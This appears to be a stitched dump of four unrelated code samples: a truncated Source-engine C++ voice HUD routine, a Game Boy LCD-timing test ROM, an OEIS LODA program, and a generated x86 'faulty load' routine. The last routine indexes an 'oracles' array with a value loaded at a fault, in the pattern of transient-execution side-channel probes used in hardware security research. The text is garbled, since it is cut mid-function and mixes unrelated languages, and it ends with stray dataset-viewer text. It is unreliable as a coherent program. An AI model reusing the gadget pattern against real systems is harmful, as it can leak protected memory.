Color c = g_PR->GetTeamColor( g_PR ? g_PR->GetTeam(playerId) : TEAM_UNASSIGNED );
c[3] = 128;
const char *pName = g_PR ? g_PR->GetPlayerName(playerId) : "unknown";
wchar_t szconverted[ 64 ];
// Add the location, if any
bool usedLocation = false;
if ( sv_alltalk && !sv_alltalk->GetBool() )
{
C_BasePlayer *pPlayer = UTIL_PlayerByIndex( playerId );
if ( pPlayer )
{
const char *asciiLocation = pPlayer->GetLastKnownPlaceName();
if ( asciiLocation && *asciiLocation )
{
const wchar_t *unicodeLocation = g_pVGuiLocalize->Find( asciiLocation );
if ( unicodeLocation && *unicodeLocation )
{
wchar_t *formatStr = g_pVGuiLocalize->Find( "#Voice_UseLocation" );
if ( formatStr )
{
wchar_t unicodeName[ 64 ];
g_pVGuiLocalize->ConvertANSIToUnicode( pName, unicodeName, sizeof( unicodeName ) );
g_pVGuiLocalize->ConstructString( szconverted, sizeof( szconverted ),
formatStr, 2, unicodeName, unicodeLocation );
usedLocation = true;
}
}
}
}
}
if ( !usedLocation )
{
g_pVGuiLocalize->ConvertANSIToUnicode( pName, szconverted, sizeof(szconverted) );
}
// Draw the item background
surface()->DrawSetColor( c );
surface()->DrawFilledRect( 0, ypos, item_wide, ypos + item_tall );
if ( show_dead_icon && bIsAlive == false && m_iDeadImageID != -1 )
{
// draw background for dead icon
// surface()->DrawFilledRect(dead_icon_xpos, ypos, 0, ypos + dead_icon_tall);
Vertex_t vert[4];
float uv1 = 0.0f;
float uv2 = 1.0f;
// Draw the dead material
surface()->DrawSetTexture( m_iDeadImageID );
vert[0].Init( Vector2D( dead_icon_xpos, ypos + dead_icon_ypos ), Vector2D( uv1, uv1 ) );
vert[1].Init( Vector2D( dead_icon_xpos + dead_icon_wide, ypos + dead_icon_ypos ), Vector2D( uv2, uv1 ) );
vert[2].Init( Vector2D( dead_icon_xpos + dead_icon_wide, ypos + dead_icon_ypos + dead_icon_tall ), Vector2D( uv2, uv2 ) );
vert[3].Init( Vector2D( dead_icon_xpos, ypos + dead_icon_ypos + dead_icon_tall ), Vector2D( uv1, uv2 ) );
surface()->DrawSetColor(COLOR_WHITE);
surface()->DrawTexturedPolygon( 4, vert );
}
//=============================================================================
// HPE_BEGIN:
// [pfreese] Draw the avatar for the given player
//=============================================================================
// Draw the players icon
if (show_avatar && m_SpeakingList[i].pAvatar)
{
m_SpeakingList[i].pAvatar->SetPos( avatar_xpos, ypos + avatar_ypos );
m_SpeakingList[i].pAvatar->Paint();
}
//=============================================================================
// HPE_END
//=============================================================================
// Draw the voice icon
if (show_voice_icon)
m_pVoiceIcon->DrawSelf( voice_icon_xpos, ypos + voice_icon_ypos, voice_icon_wide, voice_icon_tall, m_clrIcon );
// Draw the player's name
surface()->DrawSetTextColor(COLOR_WHITE);
surface()->DrawSetTextPos( text_xpos, ypos + ( item_tall / 2 ) - ( iFontHeight / 2 ) );
int iTextSpace = item_wide - text_xpos;
// write as much of the name as will fit, truncate the rest and add ellipses
int iNameLength = wcslen(szconverted);
const wchar_t *pszconverted = szconverted;
int iTextWidthCounter = 0;
for( int j=0;j<iNameLength;j++ )
{
iTextWidthCounter += surface()->GetCharacterWidth( m_NameFont, pszconverted[j] );
if( iTextWidthCounter > iTextSpace )
{
if( j > 3 )
{
szconverted[j-2] = '.';
szconverted[j-1] = '.';
szconverted[j] = '\0';
}
break;
}
}
surface()->DrawPrintText( szconverted, wcslen(szconverted) );
ypos -= ( item_spacing + item_tall );
surface()->DrawSetAlphaMultiplier(oldAlphaMultiplier);
}
}
int CHudVoiceStatus::FindActiveSpeaker( int playerId )
{
FOR_EACH_LL(m_SpeakingList, i)
{
if (m_SpeakingList[i].playerId == playerId)
return i;
}
return m_SpeakingList.InvalidIndex();
}
void CHudVoiceStatus::ClearActiveList()
{
FOR_EACH_LL(m_SpeakingList, i)
{
delete m_SpeakingList[i].pAvatar;
}
m_SpeakingList.RemoveAll();
} |
INCLUDE "hardware.inc"
SECTION "Helper Functions",HOME
;--------------------------------------------------------------------------
;- wait_ly() b = ly to wait for -
;--------------------------------------------------------------------------
wait_ly::
ld c,rLY & $FF
.no_same_ly:
ld a,[$FF00+c]
cp a,b
jr nz,.no_same_ly
ret
;--------------------------------------------------------------------------
;- memset() d = value hl = start address bc = size -
;--------------------------------------------------------------------------
memset::
ld a,d
ld [hl+],a
dec bc
ld a,b
or a,c
jr nz,memset
ret
;--------------------------------------------------------------------------
;- CPU_fast() -
;- CPU_slow() -
;--------------------------------------------------------------------------
CPU_fast::
ld a,[rKEY1]
bit 7,a
jr z,__CPU_switch
ret
CPU_slow::
ld a,[rKEY1]
bit 7,a
jr nz,__CPU_switch
ret
__CPU_switch:
ld a,[rIE]
ld b,a ; save IE
xor a,a
ld [rIE],a
ld a,$30
ld [rP1],a
ld a,$01
ld [rKEY1],a
stop
ld a,b
ld [rIE],a ; restore IE
ret
;--------------------------------------------------------------------------
;- CARTRIDGE HEADER -
;--------------------------------------------------------------------------
SECTION "Cartridge Header",HOME[$0100]
nop
nop
jr Main
NINTENDO_LOGO
; 0123456789ABC
DB "LCD TIMINGS.."
DW $0000
DB $C0 ;GBC flag
DB 0,0,0 ;SuperGameboy
DB $1B ;CARTTYPE (MBC5+RAM+BATTERY)
DB 0 ;ROMSIZE
DB 4 ;RAMSIZE (16*8KB)
DB $01,$00 ;Destination (0 = Japan, 1 = Non Japan) | Manufacturer
DB 0,0,0,0 ;Version | Complement check | Checksum
;--------------------------------------------------------------------------
;- Main() -
;--------------------------------------------------------------------------
Main:
di
call CPU_fast
ld a,$0A
ld [$0000],a ; enable SRAM
; Clear SRAM
ld a,$00
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$01
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$02
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$03
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$04
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$05
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$06
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$07
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$08
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$09
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$0A
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$0B
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$0C
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$0D
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$0E
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
ld a,$0F
ld [$4000],a
ld d,0
ld hl,$A000
ld bc,$2000
call memset
;--------------------
ld a,IEF_VBLANK
ld [rIE],a
;--------------------
ld a,2
ld [rLYC],a
;--------------------
ld a,$00
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_gbc_0
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$01
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_gbc_1
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$02
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_gbc_2
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$03
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_gbc_3
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,144
ld [rLYC],a
;--------------------
ld a,$04
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_gbc_0
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$05
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_gbc_1
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$06
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_gbc_2
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$07
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_gbc_3
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
call CPU_slow
;--------------------
ld a,2
ld [rLYC],a
;--------------------
ld a,$08
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_dmg_0
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$09
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_dmg_1
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$0A
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_dmg_2
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$0B
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_dmg_3
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,144
ld [rLYC],a
;--------------------
ld a,$0C
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_dmg_0
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$0D
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_dmg_1
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$0E
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_dmg_2
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$0F
ld [$4000],a
ld b,140
call wait_ly
xor a,a
ld [rIF],a
ld c,rSTAT & $FF
ld hl,$A000
halt
call stat_read_test_delay_dmg_3
ld [hl],$12
inc hl
ld [hl],$34
inc hl
ld [hl],$56
inc hl
ld [hl],$78
;--------------------
ld a,$00
ld [$0000],a ; disable SRAM
;--------------------
ld a,$80
ld [rNR52],a
ld a,$FF
ld [rNR51],a
ld a,$77
ld [rNR50],a
ld a,$C0
ld [rNR11],a
ld a,$E0
ld [rNR12],a
ld a,$00
ld [rNR13],a
ld a,$87
ld [rNR14],a
.end:
halt
jr .end
;--------------------------------------------------------------------------
stat_read_test_delay_dmg_3:
nop
stat_read_test_delay_dmg_2:
nop
stat_read_test_delay_dmg_1:
nop
stat_read_test_delay_dmg_0:
REPT ( ((70224+456*12)/4) / 4 )
ld a,[$FF00+c]
ld [hl+],a
ENDR
ret
;--------------------------------------------------------------------------
SECTION "Functions",ROMX
stat_read_test_delay_gbc_3:
nop
stat_read_test_delay_gbc_2:
nop
stat_read_test_delay_gbc_1:
nop
stat_read_test_delay_gbc_0:
REPT ( ((456*15)*2/4) / 4 )
ld a,[$FF00+c]
ld [hl+],a
ENDR
ld a,$A5
ld [hl+],a
ld [hl+],a
ld [hl+],a
ld [hl+],a
ld [hl+],a
ld [hl+],a
ld [hl+],a
ld [hl+],a
REPT (((456*120)*2/4)/8) ; delay 120 lines
push de
pop de
nop
ENDR
REPT ( ((456*30)*2/4) / 4 )
ld a,[$FF00+c]
ld [hl+],a
ENDR
ret
;--------------------------------------------------------------------------
|
; A028233 o=1: If n = p_1^e_1 * ... * p_k^e_k, p_1 < ... < p_k primes, then a(n) = p_1^e_1, with a(1) = 1.
; Coded manually 2021-02-27 by Antti Karttunen, https://github.com/karttu
;
; Note that A028233(n) = A020639(n)^A067029(n), A028234(n) = n/A028233(n).
;
; Code after register renumbering $2 -> $1 as suggested by minimalizer. (Cf. code of A028234)
;
add $0,1 ; Add one, because A067029 is offset=1 sequence.
mov $1,2 ; This is the smallest prime-divisor encountered so far.
mov $3,$0
lpb $3,1
mov $4,$0
mod $4,$1
add $1,1
cmp $4,0
cmp $4,0
sub $3,$4 ; Subtract one if $1 if $2 did not divide n, otherwise zero, and fall out of the loop.
lpe
; Now for $0 > 0, we have lpf = A020639(n) in $1.
; Then follows the final loop, where we divide every instance of that $1 out of n.
; Note that for n=1, $1 is erroneously 3, but valuation(1,3) = 0, which is just what we want!
; Now an innovation: Use $0 itself as a loop register, and just make sure that div is effectively no-op when $1 does not divide $0 anymore
lpb $0,1
mov $4,$0
mod $4,$1
cmp $4,0
pow $1,$4 ; we divide either with $1 (if it still divides $0) or with 1 if it does not. (it doesn't matter if $1 is ruined, because then we have finished anyways!)
div $0,$1
add $2,1
lpe
pow $1,$2
; The result is now in $1.
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1a5e7, %rax
nop
nop
nop
nop
nop
xor $13881, %rbp
movb (%rax), %r14b
nop
nop
nop
nop
cmp $32364, %rax
lea addresses_A_ht+0xe67, %r9
nop
nop
nop
nop
nop
lfence
mov $0x6162636465666768, %rsi
movq %rsi, %xmm2
movups %xmm2, (%r9)
nop
nop
sub $23950, %rsi
lea addresses_WC_ht+0x197b7, %rsi
lea addresses_normal_ht+0x58c0, %rdi
nop
nop
xor $9263, %rbp
mov $57, %rcx
rep movsw
sub $12005, %r9
lea addresses_WT_ht+0x16467, %r9
clflush (%r9)
nop
nop
nop
nop
nop
cmp $41536, %rbp
mov $0x6162636465666768, %rax
movq %rax, %xmm0
vmovups %ymm0, (%r9)
nop
xor %r14, %r14
lea addresses_UC_ht+0x168a7, %rsi
dec %rax
mov (%rsi), %r14
nop
nop
inc %r14
lea addresses_UC_ht+0xc267, %r14
nop
nop
nop
nop
add %r13, %r13
movb (%r14), %al
nop
nop
nop
inc %r14
lea addresses_WT_ht+0x14ab5, %rdi
nop
nop
nop
nop
nop
xor %rcx, %rcx
movb (%rdi), %r14b
nop
nop
xor $40746, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r9
push %rcx
push %rdx
push %rsi
// Store
lea addresses_PSE+0xe67, %r12
xor $48337, %r11
movl $0x51525354, (%r12)
nop
nop
inc %r11
// Load
lea addresses_A+0x14667, %rsi
nop
nop
nop
nop
nop
add %r15, %r15
vmovups (%rsi), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %rcx
cmp $33575, %r15
// Faulty Load
lea addresses_PSE+0xe67, %rcx
nop
dec %r9
mov (%rcx), %r12d
lea oracles, %rsi
and $0xff, %r12
shlq $12, %r12
mov (%rsi,%r12,1), %r12
pop %rsi
pop %rdx
pop %rcx
pop %r9
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'54': 53}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.